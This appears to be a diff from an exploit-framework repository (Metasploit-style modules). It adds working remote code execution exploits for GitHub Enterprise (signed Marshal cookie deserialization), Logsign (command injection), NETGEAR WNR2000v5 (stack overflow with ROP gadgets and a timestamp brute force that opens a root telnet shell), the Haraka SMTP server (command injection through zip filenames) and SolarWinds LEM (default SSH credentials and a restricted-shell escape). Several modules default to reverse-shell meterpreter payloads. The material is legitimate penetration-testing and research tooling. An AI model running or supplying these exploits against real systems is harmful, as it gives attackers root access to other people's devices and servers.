hmac = gh_manage_value.split('--').last.split(';', 2).first
vprint_status("Data: #{data.gsub(/\n/, '')}")
vprint_status("Extracted HMAC: #{hmac}")
expected_hmac = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, secret, data)
vprint_status("Expected HMAC: #{expected_hmac}")
if expected_hmac == hmac
vprint_status("The HMACs match, which means you can sign and tamper the cookie.")
return Exploit::CheckCode::Vulnerable
end
Exploit::CheckCode::Safe
end
def get_ruby_code
b64_fname = "/tmp/#{Rex::Text.rand_text_alpha(6)}.bin"
bin_fname = "/tmp/#{Rex::Text.rand_text_alpha(5)}.bin"
register_file_for_cleanup(b64_fname, bin_fname)
p = Rex::Text.encode_base64(generate_payload_exe)
c = "File.open('#{b64_fname}', 'wb') { |f| f.write('#{p}') }; "
c << "%x(base64 --decode #{b64_fname} > #{bin_fname}); "
c << "%x(chmod +x #{bin_fname}); "
c << "%x(#{bin_fname})"
c
end
def serialize
# We don't want to run this code within the context of Framework, so we run it as an
# external process.
# Brilliant trick from Brent and Adam to overcome the issue.
ruby_code = %Q|
module Erubis;class Eruby;end;end
module ActiveSupport;module Deprecation;class DeprecatedInstanceVariableProxy;end;end;end
erubis = Erubis::Eruby.allocate
erubis.instance_variable_set :@src, \\"#{get_ruby_code}; 1\\"
proxy = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.allocate
proxy.instance_variable_set :@instance, erubis
proxy.instance_variable_set :@method, :result
proxy.instance_variable_set :@var, "@result"
session =
{
'session_id' => '',
'exploit' => proxy
}
print Marshal.dump(session)
|
serialized_output = `ruby -e "#{ruby_code}"`
serialized_object = [serialized_output].pack('m')
hmac = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, secret, serialized_object)
return serialized_object, hmac
end
def send_serialized_data(dump, hmac)
uri = normalize_uri(target_uri.path)
gh_manage_value = CGI.escape("#{dump}--#{hmac}")
cookie = "_gh_manage=#{gh_manage_value}"
res = send_request_cgi({
'method' => 'GET',
'uri' => uri,
'cookie' => cookie
})
if res
print_status("Server returned: #{res.code}")
end
end
def exploit
dump, hmac = serialize
print_status('Serialized Ruby stager')
print_status('Sending serialized Ruby stager...')
send_serialized_data(dump, hmac)
end
end
=begin
Handy information:
To deobfuscate Github code, use this script:
https://gist.github.com/wchen-r7/003bef511074b8bc8432e82bfbe0dd42
Github Enterprise's Rack::Session::Cookie saves the session data into a cookie using this
algorithm:
* Takes the session hash (Json) in env['rack.session']
* Marshal.dump the hash into a string
* Base64 the string
* Append a hash of the data at the end of the string to prevent tampering.
* The signed data is saved in _gh_manage'
The format looks like this:
[ DATA ]--[ Hash ]
Also see:
https://github.com/rack/rack/blob/master/lib/rack/session/cookie.rb
=end

View File

@ -0,0 +1,77 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name' => 'Logsign Remote Command Injection',
'Description' => %q{
This module exploits an command injection vulnerability in Logsign.
By exploiting this vulnerability, unauthenticated users can execute
arbitrary code under the root user.
Logsign has a publicly accessible endpoint. That endpoint takes a user
input and then use it during operating system command execution without
proper validation.
This module was tested against 4.4.2 and 4.4.137 versions.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Mehmet Ince <mehmet@mehmetince.net>' # author & msf module
],
'References' =>
[
['URL', 'https://pentest.blog/unexpected-journey-3-visiting-another-siem-and-uncovering-pre-auth-privileged-remote-code-execution/']
],
'Privileged' => true,
'Platform' => ['python'],
'Arch' => ARCH_PYTHON,
'DefaultOptions' =>
{
'payload' => 'python/meterpreter/reverse_tcp'
},
'Targets' => [ ['Automatic', {}] ],
'DisclosureDate' => 'Feb 26 2017',
'DefaultTarget' => 0
))
end
def check
p_hash = {:file => "#{rand_text_alpha(15 + rand(4))}.raw"}
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'api', 'log_browser', 'validate'),
'ctype' => 'application/json',
'data' => JSON.generate(p_hash)
)
if res && res.body.include?('{"message": "success", "success": true}')
Exploit::CheckCode::Vulnerable
else
Exploit::CheckCode::Safe
end
end
def exploit
print_status("Delivering payload...")
p_hash = {:file => "logsign.raw\" quit 2>&1 |python -c \"#{payload.encoded}\" #"}
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'api', 'log_browser', 'validate'),
'ctype' => 'application/json',
'data' => JSON.generate(p_hash)
)
end
end

View File

@ -0,0 +1,270 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'time'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::CRand
def initialize(info = {})
super(update_info(info,
'Name' => 'NETGEAR WNR2000v5 (Un)authenticated hidden_lang_avi Stack Overflow',
'Description' => %q{
The NETGEAR WNR2000 router has a buffer overflow vulnerability in the hidden_lang_avi
parameter.
In order to exploit it, it is necessary to guess the value of a certain timestamp which
is in the configuration of the router. An authenticated attacker can simply fetch this
from a page, but an unauthenticated attacker has to brute force it.
Bruteforcing the timestamp token might take a few minutes, a few hours, or days, but
it is guaranteed that it can be bruteforced.
This module implements both modes, and it works very reliably. It has been tested with
the WNR2000v5, firmware versions 1.0.0.34 and 1.0.0.18. It should also work with hardware
revisions v4 and v3, but this has not been tested - with these routers it might be necessary
to adjust the LibcBase variable as well as the gadget addresses.
},
'Author' =>
[
'Pedro Ribeiro <pedrib@gmail.com>' # Vulnerability discovery and Metasploit module
],
'License' => MSF_LICENSE,
'Platform' => ['unix'],
'References' =>
[
['CVE', '2016-10174'],
['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/netgear-wnr2000.txt'],
['URL', 'http://seclists.org/fulldisclosure/2016/Dec/72'],
['URL', 'http://kb.netgear.com/000036549/Insecure-Remote-Access-and-Command-Execution-Security-Vulnerability']
],
'Targets' =>
[
[ 'NETGEAR WNR2000v5',
{
'LibcBase' => 0x2ab24000, # should be the same offset for all firmware versions (in libuClibc-0.9.30.1.so)
'SystemOffset' => 0x547D0,
'GadgetOffset' => 0x2462C,
#The ROP gadget will load $sp into $a0 (which will contain the system() command) and call $s0 (which will contain the address of system()):
#LOAD:0002462C addiu $a0, $sp, 0x40+arg_0
#LOAD:00024630 move $t9, $s0
#LOAD:00024634 jalr $t9
'Payload' =>
{
'BadChars' => "\x00\x25\x26",
'Compat' => {
'PayloadType' => 'cmd_interact',
'ConnectionType' => 'find',
},
},
}
],
],
'Privileged' => true,
'Arch' => ARCH_CMD,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },
'DisclosureDate' => 'Dec 20 2016',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(80),
OptString.new('HttpUsername', [true, 'Username for the web interface (not needed but exploitation is faster)', 'admin']),
OptString.new('HttpPassword', [true, 'Password for the web interface (not needed but exploitation is faster)', 'password']),
], self.class)
register_advanced_options(
[
OptInt.new('TIME_OFFSET', [true, 'Maximum time differential to try', 5000]),
OptInt.new('TIME_SURPLUS', [true, 'Increase this if you are sure the device is vulnerable and you are not getting a shell', 200])
], self.class)
end
def check
res = send_request_cgi({
'uri' => '/',
'method' => 'GET'
})
if res && res.headers['WWW-Authenticate']
auth = res.headers['WWW-Authenticate']
if auth =~ /WNR2000v5/
return Exploit::CheckCode::Detected
elsif auth =~ /WNR2000v4/ || auth =~ /WNR2000v3/
return Exploit::CheckCode::Unknown
end
end
Exploit::CheckCode::Safe
end
def uri_encode (str)
"%" + str.scan(/.{2}|.+/).join("%")
end
def calc_address (libc_base, offset)
addr = (libc_base + offset).to_s(16)
uri_encode(addr)
end
def get_current_time
res = send_request_cgi({
'uri' => '/',
'method' => 'GET'
})
if res && res['Date']
date = res['Date']
return Time.parse(date).strftime('%s').to_i
end
end
def get_auth_timestamp
res = send_request_raw({
'uri' => '/lang_check.html',
'method' => 'GET',
# automatically uses HttpPassword and HttpUsername to authenticate
})
if res && res.code == 401
# try again, might fail the first time
res = send_request_raw({
'uri' => '/lang_check.html',
'method' => 'GET',
# automatically uses HttpPassword and HttpUsername to authenticate
})
end
if res && res.code == 200
if res.body =~ /timestamp=([0-9]{8})/
$1.to_i
end
end
end
# Do some crazyness to force Ruby to cast to a single-precision float and
# back to an integer.
# This emulates the behaviour of the soft-fp library and the float cast
# which is done at the end of Netgear's timestamp generator.
def ieee754_round (number)
[number].pack('f').unpack('f*')[0].to_i
end
# This is the actual algorithm used in the get_timestamp function in
# the Netgear firmware.
def get_timestamp(time)
srandom_r time
t0 = random_r
t1 = 0x17dc65df;
hi = (t0 * t1) >> 32;
t2 = t0 >> 31;
t3 = hi >> 23;
t3 = t3 - t2;
t4 = t3 * 0x55d4a80;
t0 = t0 - t4;
t0 = t0 + 0x989680;
ieee754_round(t0)
end
def get_payload
rand_text_alpha(36) + # filler_1
calc_address(target['LibcBase'], target['SystemOffset']) + # s0
rand_text_alpha(12) + # s1, s2 and s3
calc_address(target['LibcBase'], target['GadgetOffset']) + # gadget
rand_text_alpha(0x40) + # filler_2
"killall telnetenable; killall utelnetd; /usr/sbin/utelnetd -d -l /bin/sh" # payload
end
def send_req(timestamp)
begin
uri_str = (timestamp == nil ? \
"/apply_noauth.cgi?/lang_check.html" : \
"/apply_noauth.cgi?/lang_check.html%20timestamp=#{timestamp.to_s}")
res = send_request_raw({
'uri' => uri_str,
'method' => 'POST',
'headers' => { 'Content-Type' => 'application/x-www-form-urlencoded' },
'data' => "submit_flag=select_language&hidden_lang_avi=#{get_payload}"
})
rescue ::Errno::ETIMEDOUT, ::Errno::ECONNRESET, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
return
end
end
def exploit
# 1: try to see if the default admin username and password are set
timestamp = get_auth_timestamp
# 2: now we try two things at once:
# one, if the timestamp is not nil then we got an authenticated timestamp, let's try that
# two, if the timestamp is nil, then let's try without timestamp first (the timestamp only gets set if the user visited the page before)
print_status("#{peer} - Trying the easy way out first")
send_req(timestamp)
begin
ctx = { 'Msf' => framework, 'MsfExploit' => self }
sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => 23, 'Context' => ctx, 'Timeout' => 10 })
if not sock.nil?
print_good("#{peer} - Success, shell incoming!")
return handler(sock)
end
rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
sock.close if sock
end
print_bad("#{peer} - Well that didn't work... let's do it the hard way.")
# no shell? let's just go on and bruteforce the timestamp
# 3: get the current date from the router and parse it
end_time = get_current_time
if end_time.nil?
fail_with(Failure::Unknown, "#{peer} - Unable to obtain current time")
end
if end_time <= datastore['TIME_OFFSET']
start_time = 0
else
start_time = end_time - datastore['TIME_OFFSET']
end
end_time += datastore['TIME_SURPLUS']
if end_time < (datastore['TIME_SURPLUS'] * 7.5).to_i
end_time = (datastore['TIME_SURPLUS'] * 7.5).to_i
end
print_good("#{peer} - Got time #{end_time} from router, starting exploitation attempt.")
print_status("#{peer} - Be patient, this might take a long time (typically a few minutes, but it might take hours).")
# 2: work back from the current router time minus datastore['TIME_OFFSET']
while true
for time in end_time.downto(start_time)
timestamp = get_timestamp(time)
sleep 0.1
if time % 400 == 0
print_status("#{peer} - Still working, trying time #{time}")
end
send_req(timestamp)
begin
ctx = { 'Msf' => framework, 'MsfExploit' => self }
sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => 23, 'Context' => ctx, 'Timeout' => 10 })
if sock.nil?
next
end
print_status("#{peer} - Success, shell incoming!")
return handler(sock)
rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
sock.close if sock
next
end
end
end_time = start_time
start_time -= datastore['TIME_OFFSET']
if start_time < 0
if end_time <= datastore['TIME_OFFSET']
fail_with(Failure::Unknown, "#{peer} - Exploit failed.")
end
start_time = 0
end
print_status("#{peer} - Going for another round, finishing at #{start_time} and starting at #{end_time}")
# let the router clear the buffers a bit...
sleep 30
end
end
end

View File

@ -6,6 +6,7 @@
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking
include Exploit::Remote::Tcp

View File

@ -6,6 +6,7 @@
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Telnet
include Msf::Exploit::Remote::HttpClient

View File

@ -9,6 +9,7 @@ require 'msf/core/exploit/local/linux'
require 'msf/core/exploit/exe'
class MetasploitModule < Msf::Exploit::Local
Rank = NormalRanking
include Msf::Exploit::EXE
include Msf::Post::File

View File

@ -0,0 +1,114 @@
#!/usr/bin/env python2.7
# Vendor Homepage: https://haraka.github.io/
# Software Link: https://github.com/haraka/Haraka
# Exploit github: http://github.com/outflankbv/Exploits/
# Vulnerable version link: https://github.com/haraka/Haraka/releases/tag/v2.8.8
# Version: <= Haraka 2.8.8 (with attachment plugin enabled)
# Tested on: Should be OS independent tested on Ubuntu 16.04.1 LTS
# Tested versions: 2.8.8 and 2.7.2
# Thanks to: Dexlab.nl for asking me to look at Haraka.
import smtplib
from email.mime.application import MIMEApplication
from email.mime.multipart import MIMEMultipart
from email.utils import COMMASPACE, formatdate
from email.header import Header
from email.utils import formataddr
from email.mime.text import MIMEText
from datetime import datetime
import zipfile
import StringIO
import sys, os, json
metadata = {
'name': 'Haraka SMTP Command Injection',
'description': '''
The Haraka SMTP server comes with a plugin for processing attachments.
Versions before 2.8.9 can be vulnerable to command injection
''',
'authors': ['xychix <xychix[AT]hotmail.com>', 'smfreegard', 'Adam Cammack <adam_cammack[AT]rapid7.com>'],
'date': '2017-01-26',
'references': [
{'type': 'cve', 'ref': '2016-1000282'},
{'type': 'edb', 'ref': '41162'},
{'type': 'url', 'ref': 'https://github.com/haraka/Haraka/pull/1606'},
],
'type': 'remote_exploit.cmd_stager.wget',
'privileged': True,
'targets': [
{'platform': 'linux', 'arch': 'x64'},
{'platform': 'linux', 'arch': 'x86'}
],
'options': {
'email_to': {'type': 'string', 'description': 'Email to send to, must be accepted by the server', 'required': True, 'default': 'admin@localhost'},
'email_from': {'type': 'string', 'description': 'Address to send from', 'required': True, 'default': 'foo@example.com'},
'rhost': {'type': 'address', 'description': 'Target server', 'required': True, 'default': None},
'rport': {'type': 'port', 'description': 'Target server port', 'required': True, 'default': 25}
}}
def log(message, level='info'):
print(json.dumps({'jsonrpc': '2.0', 'method': 'message', 'params': {
'level': level,
'message': message
}}))
sys.stdout.flush()
def send_mail(to, mailserver, cmd, mfrom, port):
msg = MIMEMultipart()
html = "harakiri"
msg['Subject'] = "harakiri"
msg['From'] = mfrom
msg['To'] = to
f = "harakiri.zip"
msg.attach(MIMEText(html))
log("Send harariki to %s, commandline: %s , mailserver %s is used for delivery"%(to, cmd, mailserver), 'debug')
part = MIMEApplication(create_zip(cmd),Name="harakiri.zip")
part['Content-Disposition'] = 'attachment; filename="harakiri.zip"'
msg.attach(part)
log("Sending mail to target server...")
log(msg.as_string(), 'debug')
s = smtplib.SMTP(mailserver, port)
try:
resp = s.sendmail(mfrom, to, msg.as_string())
except smtplib.SMTPDataError, err:
if err[0] == 450:
log("Triggered bug in target server (%s)"%err[1], 'good')
return(True)
log("Bug not triggered in target server", 'error')
log("it may not be vulnerable or have the attachment plugin activated", 'error')
s.close()
return(False)
class InMemoryZip(object):
def __init__(self):
self.in_memory_zip = StringIO.StringIO()
def append(self, filename_in_zip, file_contents):
zf = zipfile.ZipFile(self.in_memory_zip, "a", zipfile.ZIP_DEFLATED, False)
zf.writestr(filename_in_zip, file_contents)
for zfile in zf.filelist:
zfile.create_system = 0
return self
def read(self):
self.in_memory_zip.seek(0)
return self.in_memory_zip.read()
def create_zip(cmd="touch /tmp/harakiri"):
z1 = InMemoryZip()
z2 = InMemoryZip()
z2.append("harakiri.txt",
"Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.")
z1.append("a\";%s;echo \"a.zip"%cmd, z2.read())
return(z1.read())
if __name__ == '__main__':
req = json.loads(os.read(0, 10000))
if req['method'] == 'describe':
print(json.dumps({'jsonrpc': '2.0', 'id': req['id'], 'response': metadata}))
elif req['method'] == 'run':
args = req['params']
send_mail(args['email_to'], args['rhost'], args['command'], args['email_from'], int(args['rport']))
print(json.dumps({'jsonrpc': '2.0', 'id': req['id'], 'response': {
'message': 'Exploit completed'
}}))
sys.stdout.flush()

View File

@ -0,0 +1,168 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::SSH
def initialize(info={})
super(update_info(info,
'Name' => "SolarWind LEM Default SSH Password Remote Code Execution",
'Description' => %q{
This module exploits the default credentials of SolarWind LEM. A menu system is encountered when the SSH
service is accessed with the default username and password which is "cmc" and "password". By exploiting a
vulnerability that exist on the menuing script, an attacker can escape from restricted shell.
This module was tested against SolarWinds LEM v6.3.1.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Mehmet Ince <mehmet@mehmetince.net>', # discovery & msf module
],
'References' =>
[
['URL', 'http://pentest.blog/unexpected-journey-4-escaping-from-restricted-shell-and-gaining-root-access-to-solarwinds-log-event-manager-siem-product/']
],
'DefaultOptions' =>
{
'Payload' => 'python/meterpreter/reverse_tcp',
},
'Platform' => ['python'],
'Arch' => ARCH_PYTHON,
'Targets' => [ ['Automatic', {}] ],
'Privileged' => false,
'DisclosureDate' => "Mar 17 2017",
'DefaultTarget' => 0
))
register_options(
[
Opt::RPORT(32022),
OptString.new('USERNAME', [ true, 'The username for authentication', 'cmc' ]),
OptString.new('PASSWORD', [ true, 'The password for authentication', 'password' ]),
]
)
register_advanced_options(
[
OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
]
)
end
def rhost
datastore['RHOST']
end
def rport
datastore['RPORT']
end
def username
datastore['USERNAME']
end
def password
datastore['PASSWORD']
end
def exploit
factory = ssh_socket_factory
opts = {
:auth_methods => ['keyboard-interactive'],
:port => rport,
:use_agent => false,
:config => false,
:password => password,
:proxy => factory,
:non_interactive => true
}
opts.merge!(:verbose => :debug) if datastore['SSH_DEBUG']
print_status("#{rhost}:#{rport} - Attempting to login...")
begin
ssh = nil
::Timeout.timeout(datastore['SSH_TIMEOUT']) do
ssh = Net::SSH.start(rhost, username, opts)
end
rescue Rex::ConnectionError
return
rescue Net::SSH::Disconnect, ::EOFError
print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"
return
rescue ::Timeout::Error
print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
return
rescue Net::SSH::AuthenticationFailed
print_error "#{rhost}:#{rport} SSH - Failed authentication due wrong credentials."
rescue Net::SSH::Exception => e
print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
return
end
if ssh
payload_executed = false
print_good("SSH connection is established.")
ssh.open_channel do |channel|
print_status("Requesting pty... We need it in order to interact with menuing system.")
channel.request_pty do |ch, success|
raise ::RuntimeError, "Could not request pty!" unless success
print_good("Pty successfully obtained.")
print_status("Requesting a shell.")
ch.send_channel_request("shell") do |ch, success|
raise ::RuntimeError, "Could not open shell!" unless success
print_good("Remote shell successfully obtained.")
end
end
channel.on_data do |ch, data|
if data.include? "cmc "
print_good("Step 1 is done. Managed to access terminal menu.")
channel.send_data("service\n")
end
if data.include? "service "
print_good("Step 2 is done. Managed to select 'service' sub menu.")
channel.send_data("restrictssh\n")
end
if data.include? "Press <enter> to configure restriction on the SSH service to the Manager Appliance"
print_good("Step 3 is done. Managed to start 'restrictssh' function.")
channel.send_data("*#`bash>&2`\n")
end
if data.include? "Are the hosts"
print_good("Step 4 is done. We are going to try escape from jail shell.")
channel.send_data("Y\n")
end
if data.include? "/usr/local/contego"
if payload_executed == false
print_good("Sweet..! Escaped from jail.")
print_status("Delivering payload...")
channel.send_data("python -c \"#{payload.encoded}\"\n")
payload_executed = true
end
end
end
end
begin
ssh.loop unless session_created?
rescue Errno::EBADF => e
elog(e.message)
end
end
end
end

View File

@ -92,9 +92,6 @@ class MetasploitModule < Msf::Exploit::Remote
else
resp = send_payload(generate_payload_exe)
end
require'pp'
pp resp.headers if resp
end
def send_struts_request(ognl, extra_header: '')

Some files were not shown because too many files have changed in this diff Show More